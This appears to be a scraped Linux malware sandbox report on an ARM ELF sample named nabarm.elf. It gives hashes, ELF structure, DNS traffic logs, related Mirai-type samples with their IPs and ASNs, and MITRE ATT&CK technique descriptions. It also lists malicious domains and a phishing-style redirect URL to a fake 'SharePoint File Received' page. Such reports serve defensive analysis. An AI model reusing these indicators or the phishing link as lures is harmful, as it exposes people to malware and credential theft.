80.198.71.198	unknown	Denmark	3292	TDCTDCASDK	false
23.7.66.174	unknown	United States	14080	TelmexColombiaSACO	false
38.60.117.214	unknown	United States	174	COGENT-174US	false
19.133.154.115	unknown	United States	3	MIT-GATEWAYSUS	false
68.200.194.4	unknown	United States	33363	BHN-33363US	false
115.128.14.231	unknown	Australia	133612	VODAFONE-AS-APVodafoneAustraliaPtyLtdAU	false
28.81.150.127	unknown	United States	7922	COMCAST-7922US	false
3.95.96.96	unknown	United States	14618	AMAZON-AESUS	false
89.245.82.22	unknown	Germany	8881	VERSATELDE	false
125.4.172.162	unknown	Japan	9617	ZAQJupiterTelecommunicationsCoLtdJP	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ohlookthereismyboats.geek	jklarm7.elf	Get hash	malicious	Unknown	Browse	104.248.47.182
	jklppc.elf	Get hash	malicious	Unknown	Browse	45.147.251.145
	splarm.elf	Get hash	malicious	Unknown	Browse	104.248.47.182
	jklarm.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	nabm68k.elf	Get hash	malicious	Unknown	Browse	45.147.251.145
	splmips.elf	Get hash	malicious	Unknown	Browse	104.248.47.182
	nabspc.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	nklppc.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	zerspc.elf	Get hash	malicious	Unknown	Browse	45.147.251.145
	zersh4.elf	Get hash	malicious	Unknown	Browse	45.147.251.145
watchmepull.dyn	splmips.elf	Get hash	malicious	Unknown	Browse	45.147.251.145
watchmepull.dyn	zersh4.elf	Get hash	malicious	Unknown	Browse	45.147.251.145

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-AESUS	jklarm7.elf	Get hash	malicious	Unknown	Browse	34.226.11.183
	jklppc.elf	Get hash	malicious	Unknown	Browse	54.234.250.146
	splarm.elf	Get hash	malicious	Unknown	Browse	54.196.73.34
	nabm68k.elf	Get hash	malicious	Unknown	Browse	54.235.249.52
	splmips.elf	Get hash	malicious	Unknown	Browse	54.236.213.124
	nabspc.elf	Get hash	malicious	Unknown	Browse	3.229.94.147
	nklppc.elf	Get hash	malicious	Unknown	Browse	34.235.247.77
	jklx86.elf	Get hash	malicious	Unknown	Browse	3.213.178.237
	https://oncontact.nercon.com/crm10/api/public/runworkflow?workflow=ClickThru&profile=nercon&activityid=https://gamma.app/docs/SharePoint-File-Received-lb8vste5j00wp3ymode=doc&drivingentityid=O7YVGH9H2E&entityname=Contact&contactid=O7YVGH9H2E&includecrmkeys=True&eventcode=CLICKSITE&redirecturl=https://gamma.app/docs/SharePoint-File-Received-lb8vste5j00wp3y	Get hash	malicious	Unknown	Browse	54.211.184.30
	nklarm7.elf	Get hash	malicious	Unknown	Browse	54.55.212.188
CNCGROUP-GZChinaUnicomGuangzhounetworkCN	hoho.spc.elf	Get hash	malicious	Unknown	Browse	119.34.203.240
	resgod.x86.elf	Get hash	malicious	Mirai	Browse	112.96.62.165
	kaizen.ppc.elf	Get hash	malicious	Mirai	Browse	119.34.203.207
	hgfs.x86.elf	Get hash	malicious	Unknown	Browse	112.96.121.94
	hgfs.ppc.elf	Get hash	malicious	Unknown	Browse	58.255.186.166
	mpsl.elf	Get hash	malicious	Mirai	Browse	211.96.26.246
	jklarm5.elf	Get hash	malicious	Unknown	Browse	58.248.228.182
	splmpsl.elf	Get hash	malicious	Unknown	Browse	58.252.200.30
	nklspc.elf	Get hash	malicious	Unknown	Browse	119.35.14.99
	splarm.elf	Get hash	malicious	Unknown	Browse	58.253.21.192
TCIIR	splmips.elf	Get hash	malicious	Unknown	Browse	5.236.35.36
	nklppc.elf	Get hash	malicious	Unknown	Browse	85.185.207.62
	nabarm5.elf	Get hash	malicious	Unknown	Browse	37.254.245.118
	resgod.x86.elf	Get hash	malicious	Mirai	Browse	2.184.242.176
	kaizen.spc.elf	Get hash	malicious	Mirai	Browse	2.182.12.77
	ppc.elf	Get hash	malicious	Unknown	Browse	37.255.2.38
	sh4.elf	Get hash	malicious	Mirai	Browse	2.182.13.254
	na.elf	Get hash	malicious	Mirai	Browse	151.234.169.199
	hgfs.x86.elf	Get hash	malicious	Unknown	Browse	89.40.152.83
	sora.m68k.elf	Get hash	malicious	Mirai	Browse	217.77.113.250

Process:	/tmp/nabarm.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	248
Entropy (8bit):	3.226054572629261
Encrypted:	false
SSDEEP:	6:AVDFOj/V/DFFZvCY/VjmsVot/VOArB/VH:AVAFgl
MD5:	43CB4948F5300F0FF4EC3EA9015C4DB0
SHA1:	163B5E8161D84F6A68D39254E8D6C4B75F4DBEEF
SHA-256:	B57F5946172FA1B36D864319B893B0CA22512D8DBE38008126B23CFE8E3A2F0B
SHA-512:	B4A0E6D3EA445FC84525EF443FA7A26B3F70405765D63D06706D525983A09CFF827401E937E51DD27B5A4523552F0F173B79A1055AA68FF2C6D22FC5E596B4FE
Malicious:	false
Reputation:	low
Preview:	8000-13000 r-xp 00000000 fd:00 531606 /tmp/..1a000-1b000 rw-p 0000a000 fd:00 531606 /tmp/..1b000-1d000 rw-p 00000000 00:00 0 .ff7ef000-ff7f0000 ---p 00000000 00:00 0 .ff7f0000-ffff0000 rw-p 00000000 00:00 0 [stack].

Source: nabarm.elf	Virustotal: Detection: 28%			Perma Link
Source: nabarm.elf	ReversingLabs: Detection: 30%

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	6.055610591880782
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	nabarm.elf
File size:	42'460 bytes
MD5:	723eee42687834b548071e1820c5abd9
SHA1:	39663724e6f367a7083fa044e3c8bd2b253f861f
SHA256:	8dc62990019bc0ae9b6db5aa7269b8f1dff78561cb4d7804b9c4337db572511f
SHA512:	78d0c74f04d7db2b0ca2432ed0d88f2e0bd809ee78f2092d6936b624f2b13132d6ba3e1221ff0b2959f7e63c5a62c5623b0fa23f2fce24e62458e8fe40b54f2e
SSDEEP:	768:qWa9pEE1BloFH0HALxP8EjDJKt1Y0ZbNedyxj/+iZjN/eGdXPbbBR:69+ELdgLxkaYcFdCjLH/zXPbbBR
TLSH:	1A13E886F992CA57C5C591B7BB0F82ED372613A8D2EE73039E146F553A4B81B0E6F140
File Content Preview:	.ELF...a..........(.........4...$.......4. ...(......................................... ... ... .......D...........Q.td..................................-...L."....$..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x202
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	42020
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0x9270	0x0	0x6	AX	16
.fini	PROGBITS	0x11320	0x9320	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x11334	0x9334	0xee6	0x0	0x2	A	4
.ctors	PROGBITS	0x1a220	0xa220	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x1a228	0xa228	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x1a230	0xa230	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x1a234	0xa234	0x1ac	0x0	0x3	WA	4
.bss	NOBITS	0x1a3e0	0xa3e0	0x1284	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xa3e0	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0xa21a	0xa21a	6.1002	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0xa220	0x1a220	0x1a220	0x1c0	0x1444	2.2948	0x6	RW	0x8000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 19, 2025 19:51:56.595721960 CET	51860	53	192.168.2.14	202.61.197.122
Mar 19, 2025 19:51:56.613317013 CET	53	51860	202.61.197.122	192.168.2.14
Mar 19, 2025 19:52:07.822161913 CET	45293	53	192.168.2.14	168.235.111.72
Mar 19, 2025 19:52:07.909136057 CET	53	45293	168.235.111.72	192.168.2.14
Mar 19, 2025 19:52:19.540785074 CET	42810	53	192.168.2.14	185.181.61.24
Mar 19, 2025 19:52:19.576374054 CET	53	42810	185.181.61.24	192.168.2.14
Mar 19, 2025 19:52:19.577467918 CET	43909	53	192.168.2.14	185.181.61.24
Mar 19, 2025 19:52:19.613209963 CET	53	43909	185.181.61.24	192.168.2.14
Mar 19, 2025 19:52:19.614357948 CET	48809	53	192.168.2.14	185.181.61.24
Mar 19, 2025 19:52:19.650127888 CET	53	48809	185.181.61.24	192.168.2.14
Mar 19, 2025 19:52:19.652184010 CET	47113	53	192.168.2.14	185.181.61.24
Mar 19, 2025 19:52:19.687722921 CET	53	47113	185.181.61.24	192.168.2.14
Mar 19, 2025 19:52:19.688651085 CET	44686	53	192.168.2.14	185.181.61.24
Mar 19, 2025 19:52:19.724149942 CET	53	44686	185.181.61.24	192.168.2.14
Mar 19, 2025 19:52:31.349729061 CET	36382	53	192.168.2.14	81.169.136.222
Mar 19, 2025 19:52:31.378849030 CET	53	36382	81.169.136.222	192.168.2.14
Mar 19, 2025 19:52:31.380263090 CET	33836	53	192.168.2.14	81.169.136.222
Mar 19, 2025 19:52:31.409430981 CET	53	33836	81.169.136.222	192.168.2.14
Mar 19, 2025 19:52:31.410351992 CET	41382	53	192.168.2.14	81.169.136.222
Mar 19, 2025 19:52:31.439621925 CET	53	41382	81.169.136.222	192.168.2.14
Mar 19, 2025 19:52:31.440890074 CET	33488	53	192.168.2.14	81.169.136.222
Mar 19, 2025 19:52:31.472850084 CET	53	33488	81.169.136.222	192.168.2.14
Mar 19, 2025 19:52:31.473804951 CET	36443	53	192.168.2.14	81.169.136.222
Mar 19, 2025 19:52:31.503048897 CET	53	36443	81.169.136.222	192.168.2.14
Mar 19, 2025 19:52:43.150122881 CET	46856	53	192.168.2.14	202.61.197.122
Mar 19, 2025 19:52:43.167403936 CET	53	46856	202.61.197.122	192.168.2.14
Mar 19, 2025 19:52:43.168632984 CET	38836	53	192.168.2.14	202.61.197.122
Mar 19, 2025 19:52:43.186033010 CET	53	38836	202.61.197.122	192.168.2.14
Mar 19, 2025 19:52:43.187187910 CET	42353	53	192.168.2.14	202.61.197.122
Mar 19, 2025 19:52:43.204464912 CET	53	42353	202.61.197.122	192.168.2.14
Mar 19, 2025 19:52:43.205583096 CET	40188	53	192.168.2.14	202.61.197.122
Mar 19, 2025 19:52:43.223659992 CET	53	40188	202.61.197.122	192.168.2.14
Mar 19, 2025 19:52:43.224992990 CET	59618	53	192.168.2.14	202.61.197.122
Mar 19, 2025 19:52:43.242449999 CET	53	59618	202.61.197.122	192.168.2.14
Mar 19, 2025 19:52:54.905730963 CET	41783	53	192.168.2.14	202.61.197.122
Mar 19, 2025 19:52:54.923198938 CET	53	41783	202.61.197.122	192.168.2.14
Mar 19, 2025 19:52:54.924129009 CET	45388	53	192.168.2.14	202.61.197.122
Mar 19, 2025 19:52:54.941571951 CET	53	45388	202.61.197.122	192.168.2.14
Mar 19, 2025 19:52:54.943090916 CET	52495	53	192.168.2.14	202.61.197.122
Mar 19, 2025 19:52:54.960340977 CET	53	52495	202.61.197.122	192.168.2.14
Mar 19, 2025 19:52:54.961270094 CET	34195	53	192.168.2.14	202.61.197.122
Mar 19, 2025 19:52:54.978754044 CET	53	34195	202.61.197.122	192.168.2.14
Mar 19, 2025 19:52:54.979619980 CET	49351	53	192.168.2.14	202.61.197.122
Mar 19, 2025 19:52:55.002532005 CET	53	49351	202.61.197.122	192.168.2.14
Mar 19, 2025 19:53:06.786700964 CET	56461	53	192.168.2.14	51.158.108.203
Mar 19, 2025 19:53:06.802962065 CET	53	56461	51.158.108.203	192.168.2.14
Mar 19, 2025 19:53:06.804063082 CET	43130	53	192.168.2.14	51.158.108.203
Mar 19, 2025 19:53:06.819447994 CET	53	43130	51.158.108.203	192.168.2.14
Mar 19, 2025 19:53:06.820274115 CET	33019	53	192.168.2.14	51.158.108.203
Mar 19, 2025 19:53:06.835329056 CET	53	33019	51.158.108.203	192.168.2.14
Mar 19, 2025 19:53:06.836468935 CET	36560	53	192.168.2.14	51.158.108.203
Mar 19, 2025 19:53:06.851517916 CET	53	36560	51.158.108.203	192.168.2.14
Mar 19, 2025 19:53:06.852653027 CET	42185	53	192.168.2.14	51.158.108.203
Mar 19, 2025 19:53:06.867826939 CET	53	42185	51.158.108.203	192.168.2.14
Mar 19, 2025 19:53:18.109452963 CET	58597	53	192.168.2.14	168.235.111.72
Mar 19, 2025 19:53:18.196991920 CET	53	58597	168.235.111.72	192.168.2.14
Mar 19, 2025 19:53:29.792035103 CET	54671	53	192.168.2.14	194.36.144.87
Mar 19, 2025 19:53:29.808731079 CET	53	54671	194.36.144.87	192.168.2.14
Mar 19, 2025 19:53:41.446196079 CET	43589	53	192.168.2.14	185.181.61.24
Mar 19, 2025 19:53:41.481888056 CET	53	43589	185.181.61.24	192.168.2.14
Mar 19, 2025 19:53:53.051737070 CET	37123	53	192.168.2.14	168.235.111.72
Mar 19, 2025 19:53:53.139015913 CET	53	37123	168.235.111.72	192.168.2.14
Mar 19, 2025 19:53:53.140085936 CET	34156	53	192.168.2.14	168.235.111.72
Mar 19, 2025 19:53:53.227035046 CET	53	34156	168.235.111.72	192.168.2.14
Mar 19, 2025 19:53:53.229005098 CET	42645	53	192.168.2.14	168.235.111.72
Mar 19, 2025 19:53:53.316553116 CET	53	42645	168.235.111.72	192.168.2.14
Mar 19, 2025 19:53:53.318471909 CET	36474	53	192.168.2.14	168.235.111.72
Mar 19, 2025 19:53:53.409749031 CET	53	36474	168.235.111.72	192.168.2.14
Mar 19, 2025 19:53:53.411160946 CET	44324	53	192.168.2.14	168.235.111.72
Mar 19, 2025 19:53:53.588273048 CET	53	44324	168.235.111.72	192.168.2.14

Start time (UTC):	18:51:52
Start date (UTC):	19/03/2025
Path:	/tmp/nabarm.elf
Arguments:	/tmp/nabarm.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	18:51:54
Start date (UTC):	19/03/2025
Path:	/tmp/nabarm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	18:51:55
Start date (UTC):	19/03/2025
Path:	/tmp/nabarm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report nabarm.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0M0pNT (deleted)

/tmp/qemu-open.0ltjeV (deleted)

/tmp/qemu-open.12N0aX (deleted)

/tmp/qemu-open.4j820X (deleted)

/tmp/qemu-open.4vqhFV (deleted)

/tmp/qemu-open.5iUdCT (deleted)

/tmp/qemu-open.6iXONW (deleted)

/tmp/qemu-open.AXENOW (deleted)

/tmp/qemu-open.DbG6OU (deleted)

/tmp/qemu-open.ERMU9W (deleted)

/tmp/qemu-open.Epc89U (deleted)

/tmp/qemu-open.GkUe3X (deleted)

/tmp/qemu-open.HREgYU (deleted)

/tmp/qemu-open.Haa2hY (deleted)

/tmp/qemu-open.I1HJzU (deleted)

/tmp/qemu-open.IIN7KT (deleted)

/tmp/qemu-open.J3ZCXX (deleted)

/tmp/qemu-open.KToJQX (deleted)

/tmp/qemu-open.MmHDfU (deleted)

/tmp/qemu-open.Nc0RCW (deleted)

/tmp/qemu-open.OQLvbV (deleted)

/tmp/qemu-open.PPL7XT (deleted)

/tmp/qemu-open.PR2XkU (deleted)

/tmp/qemu-open.SD5CJU (deleted)

/tmp/qemu-open.SpdoZW (deleted)

/tmp/qemu-open.TXbCnW (deleted)

/tmp/qemu-open.Ujg2wV (deleted)

/tmp/qemu-open.VrpNGV (deleted)

/tmp/qemu-open.WmvUeU (deleted)

/tmp/qemu-open.XIrgUV (deleted)

/tmp/qemu-open.YkqD7V (deleted)

/tmp/qemu-open.YoMEVV (deleted)

/tmp/qemu-open.ZTqZ6W (deleted)

Linux Analysis Report
nabarm.elf